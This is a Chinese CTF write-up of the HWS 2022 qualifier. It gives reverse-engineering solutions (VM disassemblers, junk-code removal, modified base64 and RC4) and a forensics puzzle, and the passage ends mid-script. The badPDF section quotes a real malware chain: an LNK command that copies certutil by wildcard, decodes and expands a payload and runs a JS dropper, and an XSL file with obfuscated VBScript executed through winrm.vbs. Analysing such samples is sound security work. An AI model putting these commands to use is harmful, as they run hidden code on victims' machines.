【wp】HWS计划2022硬件安全冬令营线上选拔赛

昨天打完的选拔赛,超级无敌难得过来及时更新(被好多师傅催来着哈哈哈,ddl第一生产力。

只能说这次比赛太幸运了,能碰到这么多逆向题,甚至还有两道流落在Misc和Crypto的apk,相对来说没什么固件题(固件好菜,RW嗑了八个多小时没嗑出来TAT),那肯定开冲√

感谢师傅们手下留情╰(*°▽°*)╯

image-20220125222610060

Reverse

babyvm

vm签到题,这个题做完以后看到是一血人都傻了,看到easyvm已经三血开外了人就更傻了,明明应该baby比easy简单的吧

一些简单粗暴的花指令

image-20220124230108761

花指令有点多,直接idapython走起

from idc_bc695 import * start_addr = 0x00412CC0 end_addr = 0x00413991 l = [0x74, 0x03, 0x75, 0x01, 0xE8] def myNop(addr, end): while addr < end: for i in range(len(l)): if idc.get_wide_byte(addr + i) != l[i]: addr += 1 break else: for i in range(len(l)): PatchByte(addr, 0x90) addr += 1 print("[+] nop ok!!") myNop(start_addr, end_addr) for i in range(start_addr, end_addr + 1): MakeUnkn(i, 0x90)

去完花以后可以看到主函数直接跳到vm

image-20220124224524473

image-20220124224611724

而查vm的交叉引用可以发现有四个地方都用到了vm函数,说明opcode实际上分成了四段(四个起点)

逐个逆出32个case的作用,dump出opcode(opcode以qword为单位,偏移这边都是+8/+16这样),写反汇编器

(反汇编器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不过很久没改过了,每次都是做题的时候拉下来现改,有空再把新版放上去吧hhhh)

ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"], 1: [3, 2, "mov r{0}, 0x{1:0>4X}"], 2: [3, 2, "mov r{0}, r{1}"], 3: [3, 2, "mov r{0}, arr[r{1}]"], 4: [3, 2, "mov arr[r{0}], r{1}"], 5: [3, 1, "push r{0}"], 6: [3, 1, "pop r{0}"], 7: [3, 2, "add r{0}, 0x{1:0>4X}"], 8: [3, 2, "add r{0}, r{1}"], 9: [3, 2, "sub r{0}, 0x{1:0>4X}"], 10: [3, 2, "sub r{0}, r{1}"], 11: [3, 2, "mul r{0}, 0x{1:0>4X}"], 12: [3, 2, "mul r{0}, r{1}"], 13: [3, 2, "shl r{0}, 0x{1:0>4X}"], 14: [3, 2, "shl r{0}, r{1}"], 15: [3, 2, "shr r{0}, 0x{1:0>4X}"], 16: [3, 2, "shr r{0}, r{1}"], 17: [3, 2, "xor r{0}, 0x{1:0>4X}"], 18: [3, 2, "xor r{0}, r{1}"], 19: [3, 2, "or r{0}, 0x{1:0>4X}"], 20: [3, 2, "or r{0}, r{1}"], 21: [3, 2, "and r{0}, 0x{1:0>4X}"], 22: [3, 2, "and r{0}, r{1}"], 23: [3, 1, "mov r{0}, getchar()"], 24: [3, 1, "putchar(r{0})"], 25: [3, 0, "exit"], 26: [3, 2, "cmp r{0}, 0x{1:0>4X}"], 27: [3, 2, "cmp r{0}, r{1}"], 28: [3, 1, "jz {0:0>3}"], 29: [3, 1, "jmp {0:0>3}"], 30: [3, 1, "jl {0:0>3}"], 31: [3, 1, "jnz {0:0>3}"]} opcode = [18, 0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 1, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 18, 1, 1, 23, 0, 18446744073709551615, 5, 0, 18446744073709551615, 7, 1, 1, 26, 1, 38, 30, 31, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 0, 2, 255, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 251, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 255, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 239, 7, 2, 1, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 3, 0, 2, 9, 0, 99, 4, 2, 0, 7, 2, 1, 26, 2, 32, 30, 1, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 125, 28, 18, 18446744073709551615, 1, 0, 119, 1, 1, 114, 1, 2, 111, 1, 3, 110, 1, 6, 103, 1, 7, 33, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 10, 24, 0, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 1, 8, 256, 26, 8, 225, 30, 25, 18446744073709551615, 6, 0, 18446744073709551615, 4, 8, 0, 9, 8, 1, 29, 19, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 123, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 103, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 97, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 108, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 102, 31, 3, 18446744073709551615, 18, 9, 9, 1, 10, 225, 3, 7, 9, 3, 6, 10, 17, 6, 66, 13, 6, 2, 27, 6, 7, 31, 3, 18446744073709551615, 7, 9, 1, 7, 10, 1, 26, 9, 32, 30, 42, 18446744073709551615, 1, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615] pc = 0 res = ["Addr Code\n"] addrfmt = "{0:0>3} " base = 0x41E000 func_start = [0x41E000, 0x41E378, 0x41E9A8, 0x41EA68] for i in range(len(func_start)): func_start[i] = (func_start[i]-base) // 8 lstFunc = 0 while pc < len(opcode): i = pc pc += ins_set[opcode[i]][0] res.append(addrfmt.format(i - lstFunc)) if opcode[i] not in ins_set.keys(): print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i)) break elif 28 <= opcode[i] <= 31: res.append(ins_set[opcode[i]][2].format(opcode[i+1]*3)+'\n') else: args=[] for j in range(ins_set[opcode[i]][1]): args.append(opcode[i+1+j]) res.append(ins_set[opcode[i]][2].format(*args)+'\n') if pc in func_start: res.append('\n') lstFunc = pc with open('res.txt', 'w') as f: f.writelines(res)

拿到res.txt,注释里写了一些各段汇编的作用,就不再另开段落说明了(懒

Addr Code ;初始化寄存器,打印提示信息,接收flag并保存在栈上 000 xor r0, r0 003 xor r1, r1 006 xor r2, r2 009 xor r3, r3 012 xor r6, r6 015 xor r7, r7 018 mov r0, 0x0069 021 mov r1, 0x006E 024 mov r2, 0x0070 027 mov r3, 0x0075 030 mov r6, 0x0074 033 mov r7, 0x0020 036 putchar(r0) 039 putchar(r1) 042 putchar(r2) 045 putchar(r3) 048 putchar(r6) 051 putchar(r7) 054 mov r0, 0x0066 057 mov r1, 0x006C 060 mov r2, 0x0061 063 mov r3, 0x0067 066 mov r6, 0x003A 069 mov r7, 0x0020 072 putchar(r0) 075 putchar(r1) 078 putchar(r2) 081 putchar(r3) 084 putchar(r6) 087 putchar(r7) 090 xor r1, r1 093 mov r0, getchar() 096 push r0 099 add r1, 0x0001 102 cmp r1, 0x0026 105 jl 093 108 exit ;初始化已知数组 000 xor r2, r2 003 mov arr[r2], 0x00FF 006 add r2, 0x0001 009 mov arr[r2], 0x0223 012 add r2, 0x0001 015 mov arr[r2], 0x023B 018 add r2, 0x0001 021 mov arr[r2], 0x0237 024 add r2, 0x0001 027 mov arr[r2], 0x0237 030 add r2, 0x0001 033 mov arr[r2], 0x024B 036 add r2, 0x0001 039 mov arr[r2], 0x022B 042 add r2, 0x0001 045 mov arr[r2], 0x00FB 048 add r2, 0x0001 051 mov arr[r2], 0x022B 054 add r2, 0x0001 057 mov arr[r2], 0x0223 060 add r2, 0x0001 063 mov arr[r2], 0x024F 066 add r2, 0x0001 069 mov arr[r2], 0x00EF 072 add r2, 0x0001 075 mov arr[r2], 0x0237 078 add r2, 0x0001 081 mov arr[r2], 0x00EF 084 add r2, 0x0001 087 mov arr[r2], 0x024F 090 add r2, 0x0001 093 mov arr[r2], 0x024F 096 add r2, 0x0001 099 mov arr[r2], 0x0223 102 add r2, 0x0001 105 mov arr[r2], 0x0223 108 add r2, 0x0001 111 mov arr[r2], 0x023B 114 add r2, 0x0001 117 mov arr[r2], 0x0237 120 add r2, 0x0001 123 mov arr[r2], 0x00FF 126 add r2, 0x0001 129 mov arr[r2], 0x0233 132 add r2, 0x0001 135 mov arr[r2], 0x0233 138 add r2, 0x0001 141 mov arr[r2], 0x0233 144 add r2, 0x0001 147 mov arr[r2], 0x0237 150 add r2, 0x0001 153 mov arr[r2], 0x024B 156 add r2, 0x0001 159 mov arr[r2], 0x0233 162 add r2, 0x0001 165 mov arr[r2], 0x024F 168 add r2, 0x0001 171 mov arr[r2], 0x022B 174 add r2, 0x0001 177 mov arr[r2], 0x022B 180 add r2, 0x0001 183 mov arr[r2], 0x024B 186 add r2, 0x0001 189 mov arr[r2], 0x00EF 192 add r2, 0x0001 195 exit ;对已知数组进行-63处理 000 xor r2, r2 003 mov r0, arr[r2] 006 sub r0, 0x0063 009 mov arr[r2], r0 012 add r2, 0x0001 015 cmp r2, 0x0020 018 jl 003 021 exit ;比较flag的格式是否为"flag{}",flag顺序存在已知数组后面的一段内存中,从头遍历进行xor 0x42和左移2处理 000 pop r0 003 cmp r0, 0x007D 006 jz 054 009 mov r0, 0x0077 012 mov r1, 0x0072 015 mov r2, 0x006F 018 mov r3, 0x006E 021 mov r6, 0x0067 024 mov r7, 0x0021 027 putchar(r0) 030 putchar(r1) 033 putchar(r2) 036 putchar(r3) 039 putchar(r6) 042 putchar(r7) 045 mov r0, 0x000A 048 putchar(r0) 051 exit 054 mov r8, 0x0100 057 cmp r8, 0x00E1 060 jl 075 063 pop r0 066 mov arr[r8], r0 069 sub r8, 0x0001 072 jmp 057 075 pop r0 078 cmp r0, 0x007B 081 jnz 009 084 pop r0 087 cmp r0, 0x0067 090 jnz 009 093 pop r0 096 cmp r0, 0x0061 099 jnz 009 102 pop r0 105 cmp r0, 0x006C 108 jnz 009 111 pop r0 114 cmp r0, 0x0066 117 jnz 009 120 xor r9, r9 123 mov r10, 0x00E1 126 mov r7, arr[r9] 129 mov r6, arr[r10] 132 xor r6, 0x0042 135 shl r6, 0x0002 138 cmp r6, r7 141 jnz 009 144 add r9, 0x0001 147 add r10, 0x0001 150 cmp r9, 0x0020 153 jl 126 156 mov r0, 0x0063 159 mov r1, 0x006F 162 mov r2, 0x0072 165 mov r3, 0x0072 168 mov r6, 0x0065 171 mov r7, 0x0063 174 putchar(r0) 177 putchar(r1) 180 putchar(r2) 183 putchar(r3) 186 putchar(r6) 189 putchar(r7) 192 mov r0, 0x0074 195 mov r1, 0x006C 198 mov r2, 0x0079 201 mov r3, 0x0021 204 mov r6, 0x000A 207 putchar(r0) 210 putchar(r1) 213 putchar(r2) 216 putchar(r3) 219 putchar(r6) 222 exit

然后反向写出exp:

arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF] for i in range(len(arr)): arr[i] -= 0x0063 arr[i] >>= 0x2 arr[i] ^= 0x0042 arr[i] = chr(arr[i]) print(''.join(arr))

image-20220123121306601

flag:e247780d029a7a992247e6667869008a

easyvm

idapython去花,好像还有一两个零散的花指令来着,不太记得了(

from idc_bc695 import * start_addr = 0x401660 end_addr = 0x4016F8 l = [0x0F, 0x84, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x01, 0x00, 0x00, 0x00, 0xE8] def myNop(addr, end): while addr < end: for i in range(len(l)): if idc.get_wide_byte(addr + i) != l[i]: addr += 1 break else: for i in range(len(l)): PatchByte(addr, 0x90) addr += 1 print("[+] nop ok!!") myNop(start_addr, end_addr) for i in range(start_addr, end_addr + 1): MakeUnkn(i, 0x90)

主逻辑在反编译没出来的sub_4012F0

image-20220124231739200

可以看到偏移和函数指针,点进offset能看到函数分发

image-20220124231838276

image-20220124231906463

sub_4011E0是base64魔改,魔改为在结果xor了0x0A0B0C0D

image-20220124232343311

然后走偏移的第零个即sub_401000,而sub_401000里面就有switch

image-20220124231944330

vm摁逆,已知数组在unk_40B050,opcode在unk_40B030

写反汇编器

ins_set={0xC0: [1, 0, "inc r1"], 0xC1: [1, 0, "inc r2"], 0xC2: [1, 0, "inc r3"], 0xC3: [1, 0, "mov r1, r2"], 0xC4: [1, 0, "mov r1, r3"], 0xC5: [1, 0, "mov r2, r1"], 0xC6: [1, 0, "mov r2, r3"], 0xC7: [1, 0, "mov r3, r1"], 0xC8: [1, 0, "mov r3, r2"], 0xC9: [5, 4, "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"], 0xCA: [5, 4, "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"], 0xCB: [5, 4, "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"], 0xCC: [1, 0, "mov r1, input[r3]"], 0xCD: [1, 0, "mov r2, input[r3]"], 0xCE: [1, 0, "xor r1, r2"], 0xCF: [1, 0, "xor r2, r1"], 0xD0: [1, 0, "cmp r1, data[r3]"], # a==b:1 a>b:2 a<b:0 0xD1: [1, 0, "cmp r2, data[r3]"], 0xD2: [5, 4, "cmp r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"], 0xD3: [2, 1, "jz {0:0>4}"], # == 1 0xD4: [2, 1, "jnz {0:0>4}"], # == 0 0xFE: [1, 0, "; wrong"], 0xFF: [1, 0, "; right"]} opcode = [0xCA, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xCF, 0xC9, 0xEE, 0x00, 0x00, 0x00, 0xCF, 0xD1, 0xD3, 0x01, 0xFE, 0xC2, 0xD2, 0x39, 0x00, 0x00, 0x00, 0xD4, 0xEC, 0xFF] pc = 0 res = ["Addr Code\n"] addrfmt = "{0:0>4} " while pc < len(opcode): i = pc pc += ins_set[opcode[i]][0] res.append(addrfmt.format(i)) if opcode[i] not in ins_set.keys(): print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i)) break elif opcode[i] in [0xD3, 0xD4]: jmpdelta = opcode[i+1] if opcode[i+1] & 0x80 == 0 else opcode[i+1] - 256 res.append(ins_set[opcode[i]][2].format(pc + jmpdelta)+'\n') else: args=[] for j in range(ins_set[opcode[i]][1]): args.append(opcode[i+1+j]) res.append(ins_set[opcode[i]][2].format(*args)+'\n') with open('res.txt', 'w') as f: f.writelines(res)

拿到res.txt

Addr Code 0000 mov r2, 0x00000000 0005 mov r3, 0x00000000 0010 mov r1, input[r3] 0011 xor r2, r1 0012 mov r1, 0x000000EE 0017 xor r2, r1 0018 cmp r2, data[r3] 0019 jz 0022 0021 ; wrong 0022 inc r3 0023 cmp r3, 0x00000039 0028 jnz 0010 0030 ; right

就是一个很简单的循环处理+比对,需要注意的是r2是累计值(被坑完出来的人5555,血泪经历)

连前面的base64魔改一起写exp:

import base64 data = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3] data = [0] + data tmp = [] for i in range(1, len(data)): tmp.append(data[i-1] ^ 0xEE ^ data[i]) flag = "" arr = [0xA, 0xB, 0xC, 0xD] pos = 0 for x in tmp: flag += chr(tmp[pos] ^ arr[pos%4]) pos += 1 print(flag) print(base64.b64decode(flag.encode()))

image-20220123180848773

flag:2586dc76-98d5-44e2-ad58-d06e6559d82a

babyre

这题ollvm太阴间了啊啊啊!!!

惯例去完花以后,可以看到在主函数由很明显的几个函数段

image-20220124233120068

一个xor运算

image-20220124233208440

一个n复杂运算

image-20220124234946031

又一个xor运算

还有不知道在哪但绝对是最后一步的base64换表(在最后有比较,比较以后直接接success)

image-20220124233455356

image-20220124233505002

实在看不动了直接动态调试+找规律

用的几组测试数据↓

image-20220125230150063

关于xor的识别,这实际上是一种常用的混淆手法(在之前某一道题里磨砺出来的),顺便总结一下 (加上在这道题里学会的|),一般来说找几组数据验证一下就能猜出来的:

  • (~x|y)-(x|~y) == x - y
  • (~x&y)-(x&~y) == x - y
  • (~x&y)+(x&~y) == x ^ y
  • (~x&y)|(x&~y) == x ^ y
  • x|y+x|y-x-y == x ^ y
  • ~(~y|~x)|(y^x) == x | y

在这里下断点可以调出第一部分的xor

image-20220124234018420

看汇编可以知道xor的数据在var_18,8次循环,每次循环会改变4个字节,也就是说4字节为一组

往上翻到算出var_18的地方,发现是由每组同一位置共八字节的相互xor得到的,看附近的汇编代码即可

image-20220124234146931

于是有第一个逻辑:

arr = [0 for _ in range(4)] for i in range(len(s)): arr[i%4] ^= s[i] for i in range(len(s)): s[i] ^= arr[i%4]

第二个逻辑在下一个xor下断点

image-20220124234348460

通过动态调试可以看到是从3开始每次1字节1字节改变,同样3个一组,且如果输入为全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)的时候更明显,这种输入不会受到第一个xor的影响(偶数个相同的异或起来为0)

xor的数据在var_31 var_32 var_33,同样可以看汇编往上追溯

image-20220124234626495

image-20220124234637112

image-20220124234644250

反编译可以看到就是那个巨复杂的运算,由真值表化简可以得到第二段逻辑

for i in range(3, len(s), 3): tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff] for j in range(i, len(s)): s[j] ^= tmp[j%3]

最后逆向写exp:

import base64 s = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68" # s = "aJW31v1YF9nucbsFYGp2/XtrIO8tUi7oBX1CYmVVuGZ0" # s = "BGpvCSXOIOUgBOp0Uofm1PZh1Msa4YVaS81UmWHchtr" # s = "1Of0LdCt6iVW/M6x1dc0LOPz6lYp/t9e1Of0LdCt6iQ1" myTable = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD" b64table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' s = list(base64.b64decode(s.translate(str.maketrans(myTable,b64table)).encode())) # print(bytes(s)) # s = list("qwertyuiopasdfghjklzxcvbnm123456") # s = "abcdefghijklmnopqrstuvwxyz012345" # s = list("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") # arr = [0 for _ in range(4)] # for i in range(len(s)): # arr[i%4] ^= s[i] # for i in range(len(s)): # s[i] ^= arr[i%4] # for i in range(3, len(s), 3): # tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff] # for j in range(i, len(s)): # s[j] ^= tmp[j%3] # print(bytes(s)) s2 = s.copy() for i in range(3, len(s), 3): tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff] for j in range(i, len(s)): s2[j] ^= tmp[j%3] s2 = s2[:-1] # 最后多了一位填充 # print(bytes(s2)) arr = [0 for _ in range(4)] for i in range(len(s2)): arr[i%4] ^= s2[i] for i in range(len(s2)): s2[i] ^= arr[i%4] print(bytes(s2))

image-20220124234840708

flag:fce5e3dfc6db4f808ccaa6fcffecf583

Misc

badPDF

拿到文件就直接打开了orz,发现找不到js,意识到有payload嵌入。查看target

image-20220124222953794

这里显示不全,直接用十六进制阅读器打开可以看到target的一些关键字,定位到这里,把可见字符提取出来

image-20220124223125351

Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js

在阅读代码的过程中搜索关键字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html

有一个很有趣的地方就是,这里明明就是复制一次(把certutil.exe复制过去),为什么要用到for呢。就是通过(*ertu*.exe)这个正则匹配绕过安全检测,毕竟那个文件夹里肯定就只有一个exe是符合的,不会有误操作,而且可以避免杀软啥的对certutil.exe操作的检查(猜的)。

我在CTF题学cmd命令,捂脸

image-20220124223701986

第一层是一样的,所以直接跟着他代码做,直到拿到9sOXN6Ltf0afe7.js

var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell"); e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);

可以看到又是一层系统调用,不过这层就没什么东西了,就是让他能成功调用最后删除中间文件的过程。

做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl可以知道,上一步解压出来的cSi1r0uywDNvDu.tmp实际上也是一个代码,打开可以看到

<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"/> <ms:script implements-prefix="user" language="VBScript"> <![CDATA[ rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function: ]]> </ms:script> </stylesheet>

嵌入了一段VBscript的代码,速成VBscript可以发现这实际上就是个unhex+xor 1的过程

VBscript的关键点在:

  • "aaa" & "bbb" == "aaabbb",这里&是连接符的意思,相当于python里字符串之间的+
  • "&h41"实际上就是python里的"\x41",所以这里chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取两位然后unhex(内置函数的作用自行搜索)
  • VB里面异或就写成xor是我没想到的(逃

所以写exp有:

s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c") flag = "" for x in s: flag += chr(x ^ 1) print(flag)

image-20220123133730571

flag:e27d3de27d3de27d3d7d3de27dde27d3

gogogo

本来以为raw是拼图的线索,一番内存取证发现并没有什么线索。

后来想到如果是python程序切出来的,那肯定出来的时间是有先后的吧(我就不信有人ps手切),所以直接日期排序走起。

电脑屏幕太小了显示不了16张一行,稍微微调了一下(每行删掉第一张

image-20220124214617674

image-20220124214649437

可以看到password是3e8f092d4d7b80ce338d6e238efb01。

能用到password的地方一般都是压缩包,于是去filescan一下把文件列表导出来,grep看有没有奇怪的压缩包。

image-20220124220232147

发现有一个csgo.zip.zip(fps玩家狂喜),感觉是奇怪的包,dump下来。

volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u

用password解密发现可行,解出来一张打不开的csgo.png图片,png解包经典foremost

foremost csgo.png解出来两张图

image-20220124221520952

第一张图不太像二维码(四周补上的话data区缺太多),按着这个思路搜索其他的二维码发现一种特征在中间的Aztec code。

(赛后听凌邪师傅说枪的“阿兹特克”就是指这个Aztec,人傻了.jpg)

于是按照格式用photoshop拼了一下(做工极度粗糙,管他的能扫就行)

找到了(好像是唯一的)在线解码器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#

image-20220123163515394

发现解码成功!

flag:fbab8380-a642-48aa-89b1-8e251f826b12

TimeTravel

看MainActivity没看出什么,发现有调库就先去看库了。

实在没找到能入手的地方,于是去翻字符串,居然看到了

image-20220124160814551

眉头一皱,发现并不简单.jpg

然后直接去找这个字符串的交叉引用,果然看到了一个check函数

image-20220124160914172

ooo000粗略的看起来是一个base64,sub_4AE8有一点混淆,通过调用的分析和一些典型操作(比如初始化s盒、xor,那几个图里已命名的函数)能大概看出来是个魔改rc4,从xor操作看出除了正常的rc4异或以外还异或了当前的序号。比较的v17是已知数组off_17180。

image-20220124162408263image-20220124162420829

在genKey里,密钥通过一个倒着的表和一些计算得出

image-20220124162553728

image-20220124162604899

所以可以根据他的方法将密钥算出来,同时在rc4的结果上遍历xor序号就能拿到第一部分的结果

ooo000的魔改在取数的时候取的是x^(x>>3)而不是x

image-20220124163120723

因为这个改动比较大,选择手写base64解码

invshift是以前比赛中用过的对x^(x>>3)算法的逆向函数(一招鲜吃遍天了属于是

算出来以后发现只拿到了后半部分,flag应该是一个uuid,前面少了八个字节

image-20220124163427892

于是跑回去翻java层,发现这个包其实是有个main2activity的(下次搜索一定少搜一点555,绝了

这里一看就是主函数了

比对前五字节是"flag{"和末尾字节的"}",把中间的部分提取出来,检查[0:3]是"e25",剩下五位爆破md5

image-20220124104800696

一个比较坑的地方在hexdigits是改了表的!!!!!!出题人其心可诛!!!!!!(划掉

爆了好久爆不出来才发现,太绝了,手动把哈希值的4和5、E和F进行替换来爆破才爆出来

image-20220124112955518

整道题的exp:

from hashlib import md5 from arc4 import ARC4 import base64 def bf(s): s = s.lower() charset = "0123456789abcdef" for a in charset: for b in charset: for c in charset: for d in charset: for e in charset: tmps = a + b + c + d + e if md5(tmps.encode()).hexdigest() == s: return tmps res = bf("1F862D87DB3293B81C7D2935477A22EA") #手动将4和5,E和F进行替换 dst = [0x000000A8, 0x000000CE, 0x000000CE, 0x000000D7, 0x000000B1, 0x0000005A, 0x00000020, 0x0000004B, 0x000000AB, 0x000000A2, 0x00000023, 0x000000FA, 0x000000FC, 0x000000F0, 0x000000DF, 0x000000A5, 0x000000B4, 0x00000077, 0x000000E6, 0x00000041, 0x000000C4, 0x00000065, 0x00000084, 0x00000091, 0x0000008B, 0x0000000A, 0x000000E6, 0x000000AE, 0x000000BB, 0x000000B5, 0x00000037, 0x000000FD, 0x000000C0, 0x000000CB, 0x00000072, 0x00000078, 0x00000013, 0x00000091, 0x000000D3, 0x0000005E] keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[::-1] key = [] v1 = -2078209981 for i in range(256): v13 = ((v1 * i) >> 32) + i v14 = (v13 >> 5) + (v13 >> 31) if i - 62*v14 < 0: print(i, i - 62*v14) key.append(keytable[i - 62 * v14]) key = ''.join(key).encode() dst = bytes(dst) rc4 = ARC4(key) RC4ans = rc4.encrypt(dst) src = [] for i in 